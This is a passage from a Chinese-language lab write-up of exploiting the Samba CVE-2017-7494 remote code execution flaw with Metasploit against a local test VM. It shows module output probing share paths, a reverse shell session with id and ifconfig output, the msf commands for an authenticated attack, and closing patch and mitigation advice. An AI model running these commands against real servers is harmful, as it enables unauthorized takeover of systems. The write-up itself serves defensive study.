[*] 192.168.232.137:445 - Trying location /volume2/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume2/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume3/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume3/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume3/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume3/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /shared/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /shared/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /shared/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /shared/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/usb/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/usb/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/usb/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/usb/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /media/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /media/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /media/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /media/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/media/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/media/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/media/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/media/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /var/samba/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /var/samba/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /var/samba/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /var/samba/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /tmp/gRoUnyzb.so...
[*] Command shell session 1 opened (192.168.232.134:4444 -> 192.168.232.137:41392) at 2017-05-24 12:35:20 -0400

id
uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)
whoami
nobody
ifconfig
docker0   Link encap:Ethernet  HWaddr 02:42:23:77:72:91
inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
inet6 addr: fe80::42:23ff:fe77:7291/64 Scope:Link
UP BROADCAST MULTICAST  MTU:1500  Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B)  TX bytes:180 (180.0 B)

ens33     Link encap:Ethernet  HWaddr 00:0c:29:77:23:9e
inet addr:192.168.232.137  Bcast:192.168.232.255  Mask:255.255.255.0
inet6 addr: fe80::7651:9ad0:80e5:c9c8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:349052 errors:0 dropped:0 overruns:0 frame:0
TX packets:112974 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:419009840 (419.0 MB)  TX bytes:8902292 (8.9 MB)

lo        Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:65536  Metric:1
RX packets:23329 errors:0 dropped:0 overruns:0 frame:0
TX packets:23329 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:48010585 (48.0 MB)  TX bytes:48010585 (48.0 MB)
```

> 需要填写目标地址和选择Target，我的是x64位系统，所以设置了target为3。

效果图

更新

2017.05.26 对需要登陆的Smb进行验证

脚本已经更新，集成在msf中，直接msfupdate即可。

1.修改Ubuntu中的Samba配置文件。

```
sudo gedit /etc/samba/smb.conf
```

在[global]中添加：security = user
修改底部的[fuping]

```
[fuping] #■■■■■■■■■■■
path = /tmp
writeable = yes
```

2.添加smb用户

```
sudo useradd smbuser
sudo smbpasswd -a smbuser
```

3.开始攻击

```
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > set SMBUSER smbuser
SMBUSER => smbuser
msf exploit(is_known_pipename) > set SMBPASS smbuser
SMBPASS => smbuser
msf exploit(is_known_pipename) > set RHOST 192.168.232.137
RHOST => 192.168.232.137
msf exploit(is_known_pipename) > exploit
```

解决方案

1.受影响的用户尽快下载最新的Samba版本手动更新。
2.使用二进制分发包（RPM等方式）的用户立即进行yum，apt-get update等安全更新操作
3.不打补丁的缓解策略：用户可以通过在smb.conf的[global]节点下增加"nt pipe support = no"选项，然后重新启动samba服务，以此达到缓解该漏洞的效果。

参考

[1]https://github.com/rapid7/metasploit-framework/pull/8450
[2]http://bobao.360.cn/learning/detail/3900.html
[3]https://securityonline.info/cve-2017-7494-samba-remote-code-execution-vulnerability/

0 回复Ta
